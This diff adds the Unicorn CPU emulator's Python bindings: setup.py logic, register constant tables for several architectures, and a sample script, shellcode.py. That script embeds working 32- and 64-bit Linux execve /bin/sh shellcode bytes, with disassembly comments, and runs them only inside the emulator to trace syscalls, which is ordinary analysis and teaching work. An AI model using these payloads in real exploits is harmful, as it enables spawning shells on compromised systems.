run(self): + if 'LIBUNICORN_PATH' in os.environ: + log.info("Skipping building C extensions since LIBUNICORN_PATH is set") + else: + log.info("Building C extensions") + build_libraries() + return build.run(self) + +class custom_develop(develop): + def run(self): + log.info("Building C extensions") + build_libraries() + return develop.run(self) + +class custom_bdist_egg(bdist_egg): + def run(self): + self.run_command('build') + return bdist_egg.run(self) + +def dummy_src(): + return [] + + +if 'bdist_wheel' in sys.argv and '--plat-name' not in sys.argv: + idx = sys.argv.index('bdist_wheel') + 1 + sys.argv.insert(idx, '--plat-name') + name = get_platform() + if 'linux' in name: + # linux_* platform tags are disallowed because the python ecosystem is fubar + # linux builds should be built in the centos 5 vm for maximum compatibility + # see https://github.com/pypa/manylinux + # see also https://github.com/angr/angr-dev/blob/master/bdist.sh + sys.argv.insert(idx + 1, 'manylinux1_' + platform.machine()) + elif 'mingw' in name: + if IS_64BITS: + sys.argv.insert(idx + 1, 'win_amd64') + else: + sys.argv.insert(idx + 1, 'win32') + else: + # https://www.python.org/dev/peps/pep-0425/ + sys.argv.insert(idx + 1, name.replace('.', '_').replace('-', '_')) + + +long_desc = ''' +Unicorn is a lightweight, multi-platform, multi-architecture CPU emulator framework +based on [QEMU](https://qemu.org). + +Unicorn offers some unparalleled features: + +- Multi-architecture: ARM, ARM64 (ARMv8), M68K, MIPS, SPARC, and X86 (16, 32, 64-bit) +- Clean/simple/lightweight/intuitive architecture-neutral API +- Implemented in pure C language, with bindings for Crystal, Clojure, Visual Basic, Perl, Rust, Ruby, Python, Java, .NET, Go, Delphi/Free Pascal, Haskell, Pharo, and Lua. +- Native support for Windows & *nix (with Mac OSX, Linux, *BSD & Solaris confirmed) +- High performance via Just-In-Time compilation +- Support for fine-grained instrumentation at various levels +- Thread-safety by design +- Distributed under free software license GPLv2 + +Further information is available at https://www.unicorn-engine.org +''' + +setup( + provides=['unicorn'], + packages=['unicorn'], + name='unicorn', + version=VERSION, + author='Nguyen Anh Quynh', + author_email='aquynh@gmail.com', + description='Unicorn CPU emulator engine', + long_description=long_desc, + long_description_content_type="text/markdown", + url='https://www.unicorn-engine.org', + classifiers=[ + 'License :: OSI Approved :: BSD License', + 'Programming Language :: Python :: 2', + 'Programming Language :: Python :: 3', + ], + requires=['ctypes'], + cmdclass={'build': custom_build, 'develop': custom_develop, 'sdist': custom_sdist, 'bdist_egg': custom_bdist_egg}, + zip_safe=False, + include_package_data=True, + is_pure=False, + package_data={ + 'unicorn': ['lib/*', 'include/unicorn/*'] + } +) diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/shellcode.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/shellcode.py new file mode 100644 index 0000000..3c63e90 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/shellcode.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python +# Sample code for X86 of Unicorn. +# Nguyen Anh Quynh <aquynh@gmail.com> +# KaiJern Lau <kj@theshepherdlab.io> + +from __future__ import print_function +from unicorn import * +from unicorn.x86_const import * + +# Original shellcode from this example. +#X86_CODE32 = b"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f" + +# Linux/x86 execve /bin/sh shellcode 23 bytes, from http://shell-storm.org/shellcode/files/shellcode-827.php +# 0: 31 c0 xor eax,eax +# 2: 50 push eax +# 3: 68 2f 2f 73 68 push 0x68732f2f +# 8: 68 2f 62 69 6e push 0x6e69622f +# d: 89 e3 mov ebx,esp +# f: 50 push eax +# 10: 53 push ebx +# 11: 89 e1 mov ecx,esp +# 13: b0 0b mov al,0xb +# 15: cd 80 int 0x80 +X86_CODE32 = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" +X86_CODE32_SELF = b"\xeb\x1c\x5a\x89\xd6\x8b\x02\x66\x3d\xca\x7d\x75\x06\x66\x05\x03\x03\x89\x02\xfe\xc2\x3d\x41\x41\x41\x41\x75\xe9\xff\xe6\xe8\xdf\xff\xff\xff\x31\xd2\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xca\x7d\x41\x41\x41\x41\x41\x41\x41\x41" + +# Linux/x86 64bit execve /bin/sh shellcode +# 0: 48 31 ff xor rdi,rdi +# 3: 57 push rdi +# 4: 57 push rdi +# 5: 5e pop rsi +# 6: 5a pop rdx +# 7: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f +# e: 2f 73 68 +# 11: 48 c1 ef 08 shr rdi,0x8 +# 15: 57 push rdi +# 16: 54 push rsp +# 17: 5f pop rdi +# 18: 6a 3b push 0x3b +# 1a: 58 pop rax +# 1b: 0f 05 syscall +X86_CODE64 = b"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" + +# memory address where emulation starts +ADDRESS = 0x1000000 + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size)) + # read this instruction code from memory + tmp = uc.mem_read(address, size) + print("*** PC = %x *** :" %(address), end="") + for i in tmp: + print(" %02x" %i, end="") + print("") + + +# callback for tracing basic blocks +def hook_block(uc, address, size, user_data): + print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size)) + +def read_string(uc, address): + ret = "" + c = uc.mem_read(address, 1)[0] + read_bytes = 1 + + while c != 0x0: + ret += chr(c) + c = uc.mem_read(address + read_bytes, 1)[0] + read_bytes += 1 + return ret + +# callback for tracing Linux interrupt +def hook_intr(uc, intno, user_data): + # only handle Linux syscall + if intno != 0x80: + print("got interrupt %x ???" %intno); + uc.emu_stop() + return + + eax = uc.reg_read(UC_X86_REG_EAX) + eip = uc.reg_read(UC_X86_REG_EIP) + + if eax == 1: # sys_exit + print(">>> 0x%x: interrupt 0x%x, EAX = 0x%x" %(eip, intno, eax)) + uc.emu_stop() + elif eax == 4: # sys_write + # ECX = buffer address + ecx = uc.reg_read(UC_X86_REG_ECX) + # EDX = buffer size + edx = uc.reg_read(UC_X86_REG_EDX) + try: + buf = uc.mem_read(ecx, edx) + print(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = " \ + %(eip, intno, ecx, edx), end="") + for i in buf: + print("%c" %i, end="") + print("") + except UcError as e: + print(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = <unknown>\n" \ + %(eip, intno, ecx, edx)) + elif eax == 11: # sys_write + ebx = uc.reg_read(UC_X86_REG_EBX) + filename = read_string(uc, ebx) + print(">>> SYS_EXECV filename=%s" % filename) + else: + print(">>> 0x%x: interrupt 0x%x, EAX = 0x%x" %(eip, intno, eax)) + + +def hook_syscall32(mu, user_data): + eax = mu.reg_read(UC_X86_REG_EAX) + print(">>> got SYSCALL with EAX = 0x%x" %(eax)) + mu.emu_stop() + +def hook_syscall64(mu, user_data): + rax = mu.reg_read(UC_X86_REG_RAX) + rdi = mu.reg_read(UC_X86_REG_RDI) + + print(">>> got SYSCALL with RAX = %d" %(rax)) + + if rax == 59: #sys_execve + filename = read_string(mu, rdi) + print(">>> SYS_EXECV filename=%s" % filename) + + else: + rip = mu.reg_read(UC_X86_REG_RIP) + print(">>> Syscall Found at 0x%x: , RAX = 0x%x" %(rip, rax)) + + mu.emu_stop() + +# Test X86 32 bit +def test_i386(mode, code): + if mode == UC_MODE_32: + print("Emulate x86_32 code") + elif mode == UC_MODE_64: + print("Emulate x86_64 code") + + try: + # Initialize emulator + mu = Uc(UC_ARCH_X86, mode) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, code) + + # initialize stack + mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + if mode == UC_MODE_32: + # handle interrupt ourself + mu.hook_add(UC_HOOK_INTR, hook_intr) + # handle SYSCALL + mu.hook_add(UC_HOOK_INSN, hook_syscall32, None, 1, 0, UC_X86_INS_SYSCALL) + elif mode == UC_MODE_64: + mu.hook_add(UC_HOOK_INSN, hook_syscall64, None, 1, 0, UC_X86_INS_SYSCALL) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(code)) + + # now print out some registers + print(">>> Emulation done") + + except UcError as e: + print("ERROR: %s" % e) + +if __name__ == '__main__': + test_i386(UC_MODE_32, X86_CODE32_SELF) + print("=" * 20) + test_i386(UC_MODE_32, X86_CODE32) + print("=" * 20) + test_i386(UC_MODE_64, X86_CODE64) \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/__init__.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/__init__.py new file mode 100644 index 0000000..9d2b717 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/__init__.py @@ -0,0 +1,4 @@ +# Unicorn Python bindings, by Nguyen Anh Quynnh <aquynh@gmail.com> +from . import arm_const, arm64_const, mips_const, sparc_const, m68k_const, x86_const +from .unicorn_const import * +from .unicorn import Uc, uc_version, uc_arch_supported, version_bind, debug, UcError, __version__ diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/arm64_const.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/arm64_const.py new file mode 100644 index 0000000..ae8e77e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/arm64_const.py @@ -0,0 +1,311 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm64_const.py] + +# ARM64 registers + +UC_ARM64_REG_INVALID = 0 +UC_ARM64_REG_X29 = 1 +UC_ARM64_REG_X30 = 2 +UC_ARM64_REG_NZCV = 3 +UC_ARM64_REG_SP = 4 +UC_ARM64_REG_WSP = 5 +UC_ARM64_REG_WZR = 6 +UC_ARM64_REG_XZR = 7 +UC_ARM64_REG_B0 = 8 +UC_ARM64_REG_B1 = 9 +UC_ARM64_REG_B2 = 10 +UC_ARM64_REG_B3 = 11 +UC_ARM64_REG_B4 = 12 +UC_ARM64_REG_B5 = 13 +UC_ARM64_REG_B6 = 14 +UC_ARM64_REG_B7 = 15 +UC_ARM64_REG_B8 = 16 +UC_ARM64_REG_B9 = 17 +UC_ARM64_REG_B10 = 18 +UC_ARM64_REG_B11 = 19 +UC_ARM64_REG_B12 = 20 +UC_ARM64_REG_B13 = 21 +UC_ARM64_REG_B14 = 22 +UC_ARM64_REG_B15 = 23 +UC_ARM64_REG_B16 = 24 +UC_ARM64_REG_B17 = 25 +UC_ARM64_REG_B18 = 26 +UC_ARM64_REG_B19 = 27 +UC_ARM64_REG_B20 = 28 +UC_ARM64_REG_B21 = 29 +UC_ARM64_REG_B22 = 30 +UC_ARM64_REG_B23 = 31 +UC_ARM64_REG_B24 = 32 +UC_ARM64_REG_B25 = 33 +UC_ARM64_REG_B26 = 34 +UC_ARM64_REG_B27 = 35 +UC_ARM64_REG_B28 = 36 +UC_ARM64_REG_B29 = 37 +UC_ARM64_REG_B30 = 38 +UC_ARM64_REG_B31 = 39 +UC_ARM64_REG_D0 = 40 +UC_ARM64_REG_D1 = 41 +UC_ARM64_REG_D2 = 42 +UC_ARM64_REG_D3 = 43 +UC_ARM64_REG_D4 = 44 +UC_ARM64_REG_D5 = 45 +UC_ARM64_REG_D6 = 46 +UC_ARM64_REG_D7 = 47 +UC_ARM64_REG_D8 = 48 +UC_ARM64_REG_D9 = 49 +UC_ARM64_REG_D10 = 50 +UC_ARM64_REG_D11 = 51 +UC_ARM64_REG_D12 = 52 +UC_ARM64_REG_D13 = 53 +UC_ARM64_REG_D14 = 54 +UC_ARM64_REG_D15 = 55 +UC_ARM64_REG_D16 = 56 +UC_ARM64_REG_D17 = 57 +UC_ARM64_REG_D18 = 58 +UC_ARM64_REG_D19 = 59 +UC_ARM64_REG_D20 = 60 +UC_ARM64_REG_D21 = 61 +UC_ARM64_REG_D22 = 62 +UC_ARM64_REG_D23 = 63 +UC_ARM64_REG_D24 = 64 +UC_ARM64_REG_D25 = 65 +UC_ARM64_REG_D26 = 66 +UC_ARM64_REG_D27 = 67 +UC_ARM64_REG_D28 = 68 +UC_ARM64_REG_D29 = 69 +UC_ARM64_REG_D30 = 70 +UC_ARM64_REG_D31 = 71 +UC_ARM64_REG_H0 = 72 +UC_ARM64_REG_H1 = 73 +UC_ARM64_REG_H2 = 74 +UC_ARM64_REG_H3 = 75 +UC_ARM64_REG_H4 = 76 +UC_ARM64_REG_H5 = 77 +UC_ARM64_REG_H6 = 78 +UC_ARM64_REG_H7 = 79 +UC_ARM64_REG_H8 = 80 +UC_ARM64_REG_H9 = 81 +UC_ARM64_REG_H10 = 82 +UC_ARM64_REG_H11 = 83 +UC_ARM64_REG_H12 = 84 +UC_ARM64_REG_H13 = 85 +UC_ARM64_REG_H14 = 86 +UC_ARM64_REG_H15 = 87 +UC_ARM64_REG_H16 = 88 +UC_ARM64_REG_H17 = 89 +UC_ARM64_REG_H18 = 90 +UC_ARM64_REG_H19 = 91 +UC_ARM64_REG_H20 = 92 +UC_ARM64_REG_H21 = 93 +UC_ARM64_REG_H22 = 94 +UC_ARM64_REG_H23 = 95 +UC_ARM64_REG_H24 = 96 +UC_ARM64_REG_H25 = 97 +UC_ARM64_REG_H26 = 98 +UC_ARM64_REG_H27 = 99 +UC_ARM64_REG_H28 = 100 +UC_ARM64_REG_H29 = 101 +UC_ARM64_REG_H30 = 102 +UC_ARM64_REG_H31 = 103 +UC_ARM64_REG_Q0 = 104 +UC_ARM64_REG_Q1 = 105 +UC_ARM64_REG_Q2 = 106 +UC_ARM64_REG_Q3 = 107 +UC_ARM64_REG_Q4 = 108 +UC_ARM64_REG_Q5 = 109 +UC_ARM64_REG_Q6 = 110 +UC_ARM64_REG_Q7 = 111 +UC_ARM64_REG_Q8 = 112 +UC_ARM64_REG_Q9 = 113 +UC_ARM64_REG_Q10 = 114 +UC_ARM64_REG_Q11 = 115 +UC_ARM64_REG_Q12 = 116 +UC_ARM64_REG_Q13 = 117 +UC_ARM64_REG_Q14 = 118 +UC_ARM64_REG_Q15 = 119 +UC_ARM64_REG_Q16 = 120 +UC_ARM64_REG_Q17 = 121 +UC_ARM64_REG_Q18 = 122 +UC_ARM64_REG_Q19 = 123 +UC_ARM64_REG_Q20 = 124 +UC_ARM64_REG_Q21 = 125 +UC_ARM64_REG_Q22 = 126 +UC_ARM64_REG_Q23 = 127 +UC_ARM64_REG_Q24 = 128 +UC_ARM64_REG_Q25 = 129 +UC_ARM64_REG_Q26 = 130 +UC_ARM64_REG_Q27 = 131 +UC_ARM64_REG_Q28 = 132 +UC_ARM64_REG_Q29 = 133 +UC_ARM64_REG_Q30 = 134 +UC_ARM64_REG_Q31 = 135 +UC_ARM64_REG_S0 = 136 +UC_ARM64_REG_S1 = 137 +UC_ARM64_REG_S2 = 138 +UC_ARM64_REG_S3 = 139 +UC_ARM64_REG_S4 = 140 +UC_ARM64_REG_S5 = 141 +UC_ARM64_REG_S6 = 142 +UC_ARM64_REG_S7 = 143 +UC_ARM64_REG_S8 = 144 +UC_ARM64_REG_S9 = 145 +UC_ARM64_REG_S10 = 146 +UC_ARM64_REG_S11 = 147 +UC_ARM64_REG_S12 = 148 +UC_ARM64_REG_S13 = 149 +UC_ARM64_REG_S14 = 150 +UC_ARM64_REG_S15 = 151 +UC_ARM64_REG_S16 = 152 +UC_ARM64_REG_S17 = 153 +UC_ARM64_REG_S18 = 154 +UC_ARM64_REG_S19 = 155 +UC_ARM64_REG_S20 = 156 +UC_ARM64_REG_S21 = 157 +UC_ARM64_REG_S22 = 158 +UC_ARM64_REG_S23 = 159 +UC_ARM64_REG_S24 = 160 +UC_ARM64_REG_S25 = 161 +UC_ARM64_REG_S26 = 162 +UC_ARM64_REG_S27 = 163 +UC_ARM64_REG_S28 = 164 +UC_ARM64_REG_S29 = 165 +UC_ARM64_REG_S30 = 166 +UC_ARM64_REG_S31 = 167 +UC_ARM64_REG_W0 = 168 +UC_ARM64_REG_W1 = 169 +UC_ARM64_REG_W2 = 170 +UC_ARM64_REG_W3 = 171 +UC_ARM64_REG_W4 = 172 +UC_ARM64_REG_W5 = 173 +UC_ARM64_REG_W6 = 174 +UC_ARM64_REG_W7 = 175 +UC_ARM64_REG_W8 = 176 +UC_ARM64_REG_W9 = 177 +UC_ARM64_REG_W10 = 178 +UC_ARM64_REG_W11 = 179 +UC_ARM64_REG_W12 = 180 +UC_ARM64_REG_W13 = 181 +UC_ARM64_REG_W14 = 182 +UC_ARM64_REG_W15 = 183 +UC_ARM64_REG_W16 = 184 +UC_ARM64_REG_W17 = 185 +UC_ARM64_REG_W18 = 186 +UC_ARM64_REG_W19 = 187 +UC_ARM64_REG_W20 = 188 +UC_ARM64_REG_W21 = 189 +UC_ARM64_REG_W22 = 190 +UC_ARM64_REG_W23 = 191 +UC_ARM64_REG_W24 = 192 +UC_ARM64_REG_W25 = 193 +UC_ARM64_REG_W26 = 194 +UC_ARM64_REG_W27 = 195 +UC_ARM64_REG_W28 = 196 +UC_ARM64_REG_W29 = 197 +UC_ARM64_REG_W30 = 198 +UC_ARM64_REG_X0 = 199 +UC_ARM64_REG_X1 = 200 +UC_ARM64_REG_X2 = 201 +UC_ARM64_REG_X3 = 202 +UC_ARM64_REG_X4 = 203 +UC_ARM64_REG_X5 = 204 +UC_ARM64_REG_X6 = 205 +UC_ARM64_REG_X7 = 206 +UC_ARM64_REG_X8 = 207 +UC_ARM64_REG_X9 = 208 +UC_ARM64_REG_X10 = 209 +UC_ARM64_REG_X11 = 210 +UC_ARM64_REG_X12 = 211 +UC_ARM64_REG_X13 = 212 +UC_ARM64_REG_X14 = 213 +UC_ARM64_REG_X15 = 214 +UC_ARM64_REG_X16 = 215 +UC_ARM64_REG_X17 = 216 +UC_ARM64_REG_X18 = 217 +UC_ARM64_REG_X19 = 218 +UC_ARM64_REG_X20 = 219 +UC_ARM64_REG_X21 = 220 +UC_ARM64_REG_X22 = 221 +UC_ARM64_REG_X23 = 222 +UC_ARM64_REG_X24 = 223 +UC_ARM64_REG_X25 = 224 +UC_ARM64_REG_X26 = 225 +UC_ARM64_REG_X27 = 226 +UC_ARM64_REG_X28 = 227 +UC_ARM64_REG_V0 = 228 +UC_ARM64_REG_V1 = 229 +UC_ARM64_REG_V2 = 230 +UC_ARM64_REG_V3 = 231 +UC_ARM64_REG_V4 = 232 +UC_ARM64_REG_V5 = 233 +UC_ARM64_REG_V6 = 234 +UC_ARM64_REG_V7 = 235 +UC_ARM64_REG_V8 = 236 +UC_ARM64_REG_V9 = 237 +UC_ARM64_REG_V10 = 238 +UC_ARM64_REG_V11 = 239 +UC_ARM64_REG_V12 = 240 +UC_ARM64_REG_V13 = 241 +UC_ARM64_REG_V14 = 242 +UC_ARM64_REG_V15 = 243 +UC_ARM64_REG_V16 = 244 +UC_ARM64_REG_V17 = 245 +UC_ARM64_REG_V18 = 246 +UC_ARM64_REG_V19 = 247 +UC_ARM64_REG_V20 = 248 +UC_ARM64_REG_V21 = 249 +UC_ARM64_REG_V22 = 250 +UC_ARM64_REG_V23 = 251 +UC_ARM64_REG_V24 = 252 +UC_ARM64_REG_V25 = 253 +UC_ARM64_REG_V26 = 254 +UC_ARM64_REG_V27 = 255 +UC_ARM64_REG_V28 = 256 +UC_ARM64_REG_V29 = 257 +UC_ARM64_REG_V30 = 258 +UC_ARM64_REG_V31 = 259 + +# pseudo registers +UC_ARM64_REG_PC = 260 +UC_ARM64_REG_CPACR_EL1 = 261 + +# thread registers +UC_ARM64_REG_TPIDR_EL0 = 262 +UC_ARM64_REG_TPIDRRO_EL0 = 263 +UC_ARM64_REG_TPIDR_EL1 = 264 +UC_ARM64_REG_PSTATE = 265 + +# exception link registers +UC_ARM64_REG_ELR_EL0 = 266 +UC_ARM64_REG_ELR_EL1 = 267 +UC_ARM64_REG_ELR_EL2 = 268 +UC_ARM64_REG_ELR_EL3 = 269 + +# stack pointers registers +UC_ARM64_REG_SP_EL0 = 270 +UC_ARM64_REG_SP_EL1 = 271 +UC_ARM64_REG_SP_EL2 = 272 +UC_ARM64_REG_SP_EL3 = 273 + +# other CP15 registers +UC_ARM64_REG_TTBR0_EL1 = 274 +UC_ARM64_REG_TTBR1_EL1 = 275 +UC_ARM64_REG_ESR_EL0 = 276 +UC_ARM64_REG_ESR_EL1 = 277 +UC_ARM64_REG_ESR_EL2 = 278 +UC_ARM64_REG_ESR_EL3 = 279 +UC_ARM64_REG_FAR_EL0 = 280 +UC_ARM64_REG_FAR_EL1 = 281 +UC_ARM64_REG_FAR_EL2 = 282 +UC_ARM64_REG_FAR_EL3 = 283 +UC_ARM64_REG_PAR_EL1 = 284 +UC_ARM64_REG_MAIR_EL1 = 285 +UC_ARM64_REG_VBAR_EL0 = 286 +UC_ARM64_REG_VBAR_EL1 = 287 +UC_ARM64_REG_VBAR_EL2 = 288 +UC_ARM64_REG_VBAR_EL3 = 289 +UC_ARM64_REG_ENDING = 290 + +# alias registers +UC_ARM64_REG_IP0 = 215 +UC_ARM64_REG_IP1 = 216 +UC_ARM64_REG_FP = 1 +UC_ARM64_REG_LR = 2 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/arm_const.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/arm_const.py new file mode 100644 index 0000000..088eaa4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/arm_const.py @@ -0,0 +1,132 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [arm_const.py] + +# ARM registers + +UC_ARM_REG_INVALID = 0 +UC_ARM_REG_APSR = 1 +UC_ARM_REG_APSR_NZCV = 2 +UC_ARM_REG_CPSR = 3 +UC_ARM_REG_FPEXC = 4 +UC_ARM_REG_FPINST = 5 +UC_ARM_REG_FPSCR = 6 +UC_ARM_REG_FPSCR_NZCV = 7 +UC_ARM_REG_FPSID = 8 +UC_ARM_REG_ITSTATE = 9 +UC_ARM_REG_LR = 10 +UC_ARM_REG_PC = 11 +UC_ARM_REG_SP = 12 +UC_ARM_REG_SPSR = 13 +UC_ARM_REG_D0 = 14 +UC_ARM_REG_D1 = 15 +UC_ARM_REG_D2 = 16 +UC_ARM_REG_D3 = 17 +UC_ARM_REG_D4 = 18 +UC_ARM_REG_D5 = 19 +UC_ARM_REG_D6 = 20 +UC_ARM_REG_D7 = 21 +UC_ARM_REG_D8 = 22 +UC_ARM_REG_D9 = 23 +UC_ARM_REG_D10 = 24 +UC_ARM_REG_D11 = 25 +UC_ARM_REG_D12 = 26 +UC_ARM_REG_D13 = 27 +UC_ARM_REG_D14 = 28 +UC_ARM_REG_D15 = 29 +UC_ARM_REG_D16 = 30 +UC_ARM_REG_D17 = 31 +UC_ARM_REG_D18 = 32 +UC_ARM_REG_D19 = 33 +UC_ARM_REG_D20 = 34 +UC_ARM_REG_D21 = 35 +UC_ARM_REG_D22 = 36 +UC_ARM_REG_D23 = 37 +UC_ARM_REG_D24 = 38 +UC_ARM_REG_D25 = 39 +UC_ARM_REG_D26 = 40 +UC_ARM_REG_D27 = 41 +UC_ARM_REG_D28 = 42 +UC_ARM_REG_D29 = 43 +UC_ARM_REG_D30 = 44 +UC_ARM_REG_D31 = 45 +UC_ARM_REG_FPINST2 = 46 +UC_ARM_REG_MVFR0 = 47 +UC_ARM_REG_MVFR1 = 48 +UC_ARM_REG_MVFR2 = 49 +UC_ARM_REG_Q0 = 50 +UC_ARM_REG_Q1 = 51 +UC_ARM_REG_Q2 = 52 +UC_ARM_REG_Q3 = 53 +UC_ARM_REG_Q4 = 54 +UC_ARM_REG_Q5 = 55 +UC_ARM_REG_Q6 = 56 +UC_ARM_REG_Q7 = 57 +UC_ARM_REG_Q8 = 58 +UC_ARM_REG_Q9 = 59 +UC_ARM_REG_Q10 = 60 +UC_ARM_REG_Q11 = 61 +UC_ARM_REG_Q12 = 62 +UC_ARM_REG_Q13 = 63 +UC_ARM_REG_Q14 = 64 +UC_ARM_REG_Q15 = 65 +UC_ARM_REG_R0 = 66 +UC_ARM_REG_R1 = 67 +UC_ARM_REG_R2 = 68 +UC_ARM_REG_R3 = 69 +UC_ARM_REG_R4 = 70 +UC_ARM_REG_R5 = 71 +UC_ARM_REG_R6 = 72 +UC_ARM_REG_R7 = 73 +UC_ARM_REG_R8 = 74 +UC_ARM_REG_R9 = 75 +UC_ARM_REG_R10 = 76 +UC_ARM_REG_R11 = 77 +UC_ARM_REG_R12 = 78 +UC_ARM_REG_S0 = 79 +UC_ARM_REG_S1 = 80 +UC_ARM_REG_S2 = 81 +UC_ARM_REG_S3 = 82 +UC_ARM_REG_S4 = 83 +UC_ARM_REG_S5 = 84 +UC_ARM_REG_S6 = 85 +UC_ARM_REG_S7 = 86 +UC_ARM_REG_S8 = 87 +UC_ARM_REG_S9 = 88 +UC_ARM_REG_S10 = 89 +UC_ARM_REG_S11 = 90 +UC_ARM_REG_S12 = 91 +UC_ARM_REG_S13 = 92 +UC_ARM_REG_S14 = 93 +UC_ARM_REG_S15 = 94 +UC_ARM_REG_S16 = 95 +UC_ARM_REG_S17 = 96 +UC_ARM_REG_S18 = 97 +UC_ARM_REG_S19 = 98 +UC_ARM_REG_S20 = 99 +UC_ARM_REG_S21 = 100 +UC_ARM_REG_S22 = 101 +UC_ARM_REG_S23 = 102 +UC_ARM_REG_S24 = 103 +UC_ARM_REG_S25 = 104 +UC_ARM_REG_S26 = 105 +UC_ARM_REG_S27 = 106 +UC_ARM_REG_S28 = 107 +UC_ARM_REG_S29 = 108 +UC_ARM_REG_S30 = 109 +UC_ARM_REG_S31 = 110 +UC_ARM_REG_C1_C0_2 = 111 +UC_ARM_REG_C13_C0_2 = 112 +UC_ARM_REG_C13_C0_3 = 113 +UC_ARM_REG_IPSR = 114 +UC_ARM_REG_MSP = 115 +UC_ARM_REG_PSP = 116 +UC_ARM_REG_CONTROL = 117 +UC_ARM_REG_ENDING = 118 + +# alias registers +UC_ARM_REG_R13 = 12 +UC_ARM_REG_R14 = 10 +UC_ARM_REG_R15 = 11 +UC_ARM_REG_SB = 75 +UC_ARM_REG_SL = 76 +UC_ARM_REG_FP = 77 +UC_ARM_REG_IP = 78 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/m68k_const.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/m68k_const.py new file mode 100644 index 0000000..37b00b9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/m68k_const.py @@ -0,0 +1,24 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [m68k_const.py] + +# M68K registers + +UC_M68K_REG_INVALID = 0 +UC_M68K_REG_A0 = 1 +UC_M68K_REG_A1 = 2 +UC_M68K_REG_A2 = 3 +UC_M68K_REG_A3 = 4 +UC_M68K_REG_A4 = 5 +UC_M68K_REG_A5 = 6 +UC_M68K_REG_A6 = 7 +UC_M68K_REG_A7 = 8 +UC_M68K_REG_D0 = 9 +UC_M68K_REG_D1 = 10 +UC_M68K_REG_D2 = 11 +UC_M68K_REG_D3 = 12 +UC_M68K_REG_D4 = 13 +UC_M68K_REG_D5 = 14 +UC_M68K_REG_D6 = 15 +UC_M68K_REG_D7 = 16 +UC_M68K_REG_SR = 17 +UC_M68K_REG_PC = 18 +UC_M68K_REG_ENDING = 19 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/mips_const.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/mips_const.py new file mode 100644 index 0000000..98e1ecc --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/mips_const.py @@ -0,0 +1,197 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [mips_const.py] + +# MIPS registers + +UC_MIPS_REG_INVALID = 0 + +# General purpose registers +UC_MIPS_REG_PC = 1 +UC_MIPS_REG_0 = 2 +UC_MIPS_REG_1 = 3 +UC_MIPS_REG_2 = 4 +UC_MIPS_REG_3 = 5 +UC_MIPS_REG_4 = 6 +UC_MIPS_REG_5 = 7 +UC_MIPS_REG_6 = 8 +UC_MIPS_REG_7 = 9 +UC_MIPS_REG_8 = 10 +UC_MIPS_REG_9 = 11 +UC_MIPS_REG_10 = 12 +UC_MIPS_REG_11 = 13 +UC_MIPS_REG_12 = 14 +UC_MIPS_REG_13 = 15 +UC_MIPS_REG_14 = 16 +UC_MIPS_REG_15 = 17 +UC_MIPS_REG_16 = 18 +UC_MIPS_REG_17 = 19 +UC_MIPS_REG_18 = 20 +UC_MIPS_REG_19 = 21 +UC_MIPS_REG_20 = 22 +UC_MIPS_REG_21 = 23 +UC_MIPS_REG_22 = 24 +UC_MIPS_REG_23 = 25 +UC_MIPS_REG_24 = 26 +UC_MIPS_REG_25 = 27 +UC_MIPS_REG_26 = 28 +UC_MIPS_REG_27 = 29 +UC_MIPS_REG_28 = 30 +UC_MIPS_REG_29 = 31 +UC_MIPS_REG_30 = 32 +UC_MIPS_REG_31 = 33 + +# DSP registers +UC_MIPS_REG_DSPCCOND = 34 